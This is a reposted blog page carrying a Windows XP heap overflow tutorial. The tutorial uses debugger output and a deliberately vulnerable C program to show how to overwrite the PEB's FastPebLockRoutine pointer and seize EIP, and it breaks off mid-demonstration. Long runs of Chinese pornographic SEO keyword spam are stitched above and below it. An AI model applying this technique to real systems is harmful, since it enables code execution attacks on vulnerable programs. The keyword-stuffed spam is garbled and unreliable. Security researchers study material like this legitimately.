青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

[轉載]Windows Heap Overflows using the Process Environment Block (PEB)

文章作者:c0ntexb[at]gmail.com

The PEB (Process Environment Block) is a process specific area of userland memory that contains details about
each running process. Since PEB information is user modifyable, it runs in the context of the process address
space. Information contained in the PEB includes the image base address, heap information, loaded modules and
defined environment variables amongst other things. A quick look at the PEB of a vulnerable application shows
us this information:


0:000> !peb
PEB at 7ffdf000
? ?InheritedAddressSpace:? ?No
? ?ReadImageFileExecOptions: No
? ?BeingDebugged:? ?? ???Yes
? ?ImageBaseAddress:? ?? ?00400000
? ?Ldr? ?? ?? ?? ?? ? 00241ea0
? ?Ldr.Initialized:? ?? ? Yes
? ?Ldr.InInitializationOrderModuleList: 00241f58 . 00242018
? ?Ldr.InLoadOrderModuleList:? ?? ???00241ee0 . 00242008
? ?Ldr.InMemoryOrderModuleList:? ?? ?00241ee8 . 00242010
? ?? ???Base TimeStamp? ?? ?? ?? ???Module
? ?? ? 400000 447748b6 May 26 19:28:06 2006 C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe
? ?? ?77f50000 3eb1b41a May 02 00:56:10 2003 C:\WINXP\System32\ntdll.dll
? ?? ?77e60000 40d1dbcb Jun 17 18:58:35 2004 C:\WINXP\system32\kernel32.dll
? ?SubSystemData:? ? 00000000
? ?ProcessHeap:? ???00140000
? ?ProcessParameters: 00020000
? ?WindowTitle:??'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
? ?ImageFile:? ?'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
? ?CommandLine:??'"C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe"'
? ?DllPath:? ? 'C:\Documents and Settings\c0ntex\Desktop\testing;C:\WINXP\System32;C:\WINXP\system;
C:\WINXP;.;C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;'
? ?Environment:??00010000
? ?? ?ALLUSERSPROFILE=C:\Documents and Settings\All Users
? ?? ?APPDATA=C:\Documents and Settings\c0ntex\Application Data
? ?? ?CommonProgramFiles=C:\Program Files\Common Files
? ?? ?COMPUTERNAME=b0xen
? ?? ?ComSpec=C:\WINXP\system32\cmd.exe
? ?? ?HOMEDRIVE=C:
? ?? ?HOMEPATH=\
? ?? ?LOGONSERVER=\\secret
? ?? ?NUMBER_OF_PROCESSORS=1
? ?? ?OS=Windows_NT
? ?? ?Path=C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;
? ?? ?PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
? ?? ?PROCESSOR_ARCHITECTURE=x86
? ?? ?PROCESSOR_IDENTIFIER=x86 Family 6 Model 9 Stepping 5, GenuineIntel
? ?? ?PROCESSOR_LEVEL=6
? ?? ?PROCESSOR_REVISION=0905
? ?? ?ProgramFiles=C:\Program Files
? ?? ?SESSIONNAME=Console
? ?? ?SystemDrive=C:
? ?? ?SystemRoot=C:\WINXP
? ?? ?TEMP=c:\temp
? ?? ?TERMID=0645A
? ?? ?TMP=c:\temp
? ?? ?USERDOMAIN=secret
? ?? ?USERNAME=c0ntex
? ?? ?USERPROFILE=C:\Documents and Settings\c0ntex
? ?? ?WINDBG_DIR=C:\Program Files\Debugging Tools for Windows
? ?? ?windir=C:\WINXP


In general the PEB holds some pretty useful information for a user when analysing a process, looking at the
structure in ntdll.dll, we can see each of the sections:


0:000> dt ntdll!_PEB 7ffdf000
??+0x000 InheritedAddressSpace : 0 ''
??+0x001 ReadImageFileExecOptions : 0 ''
??+0x002 BeingDebugged? ?: 0x1 ''
??+0x003 SpareBool? ?? ?: 0 ''
??+0x004 Mutant? ?? ???: 0xffffffff
??+0x008 ImageBaseAddress : 0x00400000
??+0x00c Ldr? ?? ?? ? : 0x00241ea0 _PEB_LDR_DATA
??+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
??+0x014 SubSystemData? ?: (null)
??+0x018 ProcessHeap? ? : 0x00140000
??+0x01c FastPebLock? ? : 0x77fc49e0 _RTL_CRITICAL_SECTION
??+0x020 FastPebLockRoutine : 0x77f5b2a0
??+0x024 FastPebUnlockRoutine : 0x77f5b380
??+0x028 EnvironmentUpdateCount : 1
??+0x02c KernelCallbackTable : (null)
??+0x030 SystemReserved??: [1] 0
??+0x034 ExecuteOptions??: 0y00
??+0x034 SpareBits? ?? ?: 0y000000000000000000000000000000 (0)
??+0x038 FreeList? ?? ?: (null)
??+0x03c TlsExpansionCounter : 0
??+0x040 TlsBitmap? ?? ?: 0x77fc4680
??+0x044 TlsBitmapBits? ?: [2] 0
??+0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
??+0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
??+0x054 ReadOnlyStaticServerData : 0x7f6f0688??-> (null)
??+0x058 AnsiCodePageData : 0x7ffb0000
??+0x05c OemCodePageData??: 0x7ffc1000
??+0x060 UnicodeCaseTableData : 0x7ffd2000
??+0x064 NumberOfProcessors : 1
??+0x068 NtGlobalFlag? ? : 0x70
??+0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
??+0x078 HeapSegmentReserve : 0x100000
??+0x07c HeapSegmentCommit : 0x2000
??+0x080 HeapDeCommitTotalFreeThreshold : 0x10000
??+0x084 HeapDeCommitFreeBlockThreshold : 0x1000
??+0x088 NumberOfHeaps? ?: 3
??+0x08c MaximumNumberOfHeaps : 0x10
??+0x090 ProcessHeaps? ? : 0x77fc5a80??-> 0x00140000
??+0x094 GdiSharedHandleTable : (null)
??+0x098 ProcessStarterHelper : (null)
??+0x09c GdiDCAttributeList : 0
??+0x0a0 LoaderLock? ???: 0x77fc1774
??+0x0a4 OSMajorVersion??: 5
??+0x0a8 OSMinorVersion??: 1
??+0x0ac OSBuildNumber? ?: 0xa28
??+0x0ae OSCSDVersion? ? : 0x100
??+0x0b0 OSPlatformId? ? : 2
??+0x0b4 ImageSubsystem??: 3
??+0x0b8 ImageSubsystemMajorVersion : 4
??+0x0bc ImageSubsystemMinorVersion : 0
??+0x0c0 ImageProcessAffinityMask : 0
??+0x0c4 GdiHandleBuffer??: [34] 0
??+0x14c PostProcessInitRoutine : (null)
??+0x150 TlsExpansionBitmap : 0x77fc4660
??+0x154 TlsExpansionBitmapBits : [32] 0
??+0x1d4 SessionId? ?? ?: 0
??+0x1d8 AppCompatFlags??: _ULARGE_INTEGER 0x0
??+0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
??+0x1e8 pShimData? ?? ?: (null)
??+0x1ec AppCompatInfo? ?: (null)
??+0x1f0 CSDVersion? ???: _UNICODE_STRING "Service Pack 1"
??+0x1f8 ActivationContextData : (null)
??+0x1fc ProcessAssemblyStorageMap : (null)
??+0x200 SystemDefaultActivationContextData : 0x00130000
??+0x204 SystemAssemblyStorageMap : (null)
??+0x208 MinimumStackCommit : 0


In exploitation, the PEB becomes a useful target due to the fact of it's stability, and the actual sections
that we utilise are the FastPebLockRoutine and FastPebUnlockRoutine pointers.


0:000> dt ntdll!_PEB 7ffdf000
??... SNIP ...
??+0x01c FastPebLock? ? : 0x77fc49e0 _RTL_CRITICAL_SECTION
??+0x020 FastPebLockRoutine : 0x77f5b2a0
??+0x024 FastPebUnlockRoutine : 0x77f5b380
??... SNIP ...


Overwriting FastPebLockRoutine is actually overwriting a pointer to RtlEnterCriticalSection:

? ?? ?FastPebLockRoutine
? ?? ?DS:[7FFDF020]=77F5B2A0 (ntdll.RtlEnterCriticalSection)

and overwriting FastPebUnlockRoutine is actually overwriting the RtlLeaveCriticalSection pointer:

? ?? ?FastPebUnlockRoutine
? ?? ?DS:[7FFDF024]=77F5B380 (ntdll.RtlLeaveCriticalSection)


Now we shall continue the example and work a vulnerable piece of code!


////
//??Heap_Overflow.cpp
////
#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
? ?? ?HLOCAL peb_chunk1 = NULL;
? ?? ?HLOCAL peb_chunk2 = NULL;
? ?? ?HANDLE peb_heap = NULL;

? ?? ?printf("\nAn example heap overflow bug\n");

? ?? ?if(argc < 2) {
? ?? ?? ???printf("Usage: ./peb.exe string1 string2\n");
? ?? ?? ???exit(1);
? ?? ?}

? ?? ?peb_heap = HeapCreate(0x00, 0x00, 0x00);

? ?? ?peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);
? ?? ?strcpy((char *)peb_chunk1, argv[1]);

? ?? ?peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);
? ?? ?strcpy((char *)peb_chunk1, argv[2]);

? ?? ?HeapFree(peb_heap, 0x00, peb_chunk1);
? ?? ?HeapFree(peb_heap, 0x00, peb_chunk2);

? ?? ?HeapDestroy(peb_heap);

? ?? ?return 0;
}


On running the program in Windbg, we shall pass the application a large string to trigger the heap overflow
bug and eventually the program will crash at the following location:


77f8452d 8901? ?? ?? ?mov? ? [ecx],eax? ?? ?ds:0023:61616161=????????
77f8452f 894804? ?? ???mov? ? [eax+0x4],ecx


the registers will look like so:


eax=61616161 ebx=00000024 ecx=61616161 edx=003407a0 esi=003407a0 edi=00340000
eip=77f8452d esp=0012f814 ebp=0012fa2c iopl=0? ?? ?nv up ei pl zr na po nc
cs=001b??ss=0023??ds=0023??es=0023??fs=0038??gs=0000? ?? ?? ?efl=00010246
ntdll!RtlAllocateHeapSlowly+0x6bd:
77f8452d 8901? ?? ?? ?mov? ? [ecx],eax? ?? ?ds:0023:61616161=????????


and as we see, we control EAX and ECX, giving us the chance to write-anything-anywhere. This is a standard
heap overflow utilising the above FLINK and BLINK pointers from the heap routines. Examining the Un/Locking
pointer location prior to exploitation, they look something like so:


0:000> dd 0c7ffdf020 L4
7ffdf020??77f5b2a0 77f5b380 00000001 00000000


Here, the PEB Lock pointer [7FFDF020] points to [77F5B2A0]
and the PEB Unlock pointer [7FFDF024] points to [77F5B380]


So we set ECX to the address of the PEB Lock pointer and EAX with an address that points to our shellcode.
In this example we are just jacking PEB with 61616161 to prove we can own EIP. After some preperation, the
registers will look similar to the following:


EAX 61616161? ?<---- Our malicious address to write
ECX 7FFDF020? ?<---- Our jacked pointer to write over
EDX 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EBX 00000024
ESP 0012F79C
EBP 0012F9B4
ESI 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EDI 00350000
EIP 77F8452D ntdll.77F8452D


and the MOV DWORD PTR DS:[ECX],EAX will overwrite 7FFDF020 with our malicious values (perhaps a call or jmp
to ECX). The second MOV will fail and access violate, but I don&#39;t care here. Next, we continue the process
in Olly with Shift +f7 and suddenly we see some magic. We have our pointer overwritten prefectly:


? ?? ?7FFDF020??61 61 61 61 80 B3 F5 77??aaaa
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            久久噜噜噜精品国产亚洲综合| 午夜精品久久久久久久白皮肤| 免费日韩av电影| 久久久久久久久久久成人| 亚洲欧美日韩国产综合精品二区| 亚洲一区国产精品| 午夜视频一区二区| 久久精品视频网| 免费黄网站欧美| 欧美日韩卡一卡二| 国产精品自拍视频| 亚洲第一精品久久忘忧草社区| 乱码第一页成人| 欧美日韩另类综合| 国产乱码精品一区二区三区av| 国一区二区在线观看| 亚洲高清不卡一区| 亚洲男人第一网站| 另类欧美日韩国产在线| 亚洲人成网在线播放| 在线日本成人| 一区二区三区视频观看| 羞羞答答国产精品www一本| 亚洲国产经典视频| 欧美国产日韩在线观看| 亚洲欧美另类综合偷拍| 免费在线日韩av| 国产视频久久网| 亚洲国产精品成人精品| 亚洲永久在线| 欧美成年人视频网站欧美| 久久亚洲国产成人| 亚洲制服欧美中文字幕中文字幕| 久久这里只有精品视频首页| 国产精品毛片| 亚洲精品在线一区二区| 久久久噜噜噜久久久| 久久精品五月| 美日韩精品视频| 欧美大片在线影院| 国产一区二区三区免费不卡 | 午夜激情一区| 午夜天堂精品久久久久| 欧美在线看片| 久久蜜桃精品| 日韩午夜免费| 欧美国产在线观看| 久久精品亚洲国产奇米99| 欧美视频中文一区二区三区在线观看| 激情欧美一区二区三区在线观看| 中文在线资源观看网站视频免费不卡 | 狠狠久久亚洲欧美专区| 香蕉精品999视频一区二区 | 欧美成人免费在线观看| 午夜亚洲一区| 亚洲视频一二区| 欧美电影在线观看完整版| 狠狠色香婷婷久久亚洲精品| 久久成年人视频| 久久久午夜电影| 亚洲伦伦在线| 亚洲欧美视频| 激情国产一区| 久久国产精品久久久| 亚洲性感激情| 久久综合激情| 在线观看视频免费一区二区三区| 久久亚洲一区| 久久综合给合久久狠狠狠97色69| 亚洲高清不卡在线观看| 欧美高清在线视频观看不卡| 另类av导航| 日韩亚洲一区二区| 亚洲小说区图片区| 一区二区三区四区五区在线| 久久久久国产免费免费| 亚洲欧美中文另类| 午夜精品久久久久久久久 | 国产亚洲va综合人人澡精品| 亚洲福利av| 欧美伦理a级免费电影| 国产精品亚洲欧美| 在线亚洲欧美专区二区| 欧美激情第六页| 国产精品网站视频| 在线观看中文字幕不卡| 亚洲国语精品自产拍在线观看| 亚洲黄网站黄| 亚洲第一网站免费视频| 亚洲精品一区二区三区在线观看 | 伊人精品成人久久综合软件| 免费日韩成人| 欧美日韩亚洲系列| 久久大逼视频| 蜜桃av综合| 亚洲男人av电影| 亚洲精品国产欧美| 一区二区三区视频观看| 免费观看在线综合| 欧美一区二区三区在线视频| 久久久久久91香蕉国产| 中文日韩在线| 久久se精品一区精品二区| 久久在线免费| 欧美一区二区高清在线观看| 久久国产精品久久w女人spa| 亚洲区一区二| 一本久道久久久| 亚洲中字黄色| 国产欧美一区二区色老头 | 午夜亚洲激情| 欧美不卡视频一区发布| 欧美一区成人| 欧美日韩精品久久久| 久久综合九色综合欧美狠狠| 欧美日韩中文字幕在线视频| 麻豆精品视频在线| 国产精品免费网站在线观看| 99在线热播精品免费| 免费成人性网站| 亚洲精选一区| 久久综合伊人77777麻豆| 欧美在线啊v| 欧美日韩一视频区二区| 亚洲国产精品www| 在线欧美电影| 久久精彩视频| 久久超碰97中文字幕| 欧美在线视频全部完| 欧美不卡一区| 激情久久久久久久久久久久久久久久| 一区二区三区免费观看| 99综合电影在线视频| 蜜桃久久精品一区二区| 男女精品视频| 樱桃国产成人精品视频| 欧美在线视频不卡| 亚洲综合色婷婷| 欧美日韩免费一区二区三区| 性欧美激情精品| 欧美综合激情网| 国产精品蜜臀在线观看| 亚洲一区亚洲二区| 亚洲欧美精品在线观看| 欧美精品一区在线发布| 欧美激情免费在线| 国产欧美韩日| 国产欧美日韩精品a在线观看| 在线观看国产精品网站| 一区二区三区.www| 亚洲韩国日本中文字幕| 欧美刺激午夜性久久久久久久| 欧美电影在线观看| 亚洲精选中文字幕| 欧美日韩在线观看视频| 一区二区三区四区五区在线| 欧美成人高清视频| 欧美在线首页| 久久久精品免费视频| 在线亚洲+欧美+日本专区| 性欧美xxxx视频在线观看| 国产精品欧美经典| 午夜精品免费| 久久综合网络一区二区| 亚洲国产另类 国产精品国产免费| 免费不卡视频| 欧美在线免费观看| 国产精品福利久久久| 久久久久一区二区| 亚洲日本欧美| 欧美专区福利在线| 在线观看中文字幕不卡| 欧美激情一区二区三区全黄| 亚洲视频图片小说| 久久视频在线看| 夜色激情一区二区| 欧美激情一区二区三区成人| 免费欧美高清视频| 一本色道久久88亚洲综合88| 欧美在线国产精品| 伊人成人在线视频| 欧美日韩视频在线观看一区二区三区| 亚洲欧美成人| 亚洲国产欧美在线| 18成人免费观看视频| 国产综合久久久久影院| 欧美极品在线观看| 香蕉久久夜色精品国产使用方法 | 久久在线播放| av不卡免费看| 影音先锋久久资源网| 欧美无砖砖区免费| 久久一区二区三区国产精品| 亚洲精品国产精品乱码不99| 亚洲国产成人精品女人久久久 | 亚洲国产精品热久久| 欧美色一级片| 麻豆成人综合网| 亚洲综合导航| 99国产精品久久久久久久成人热|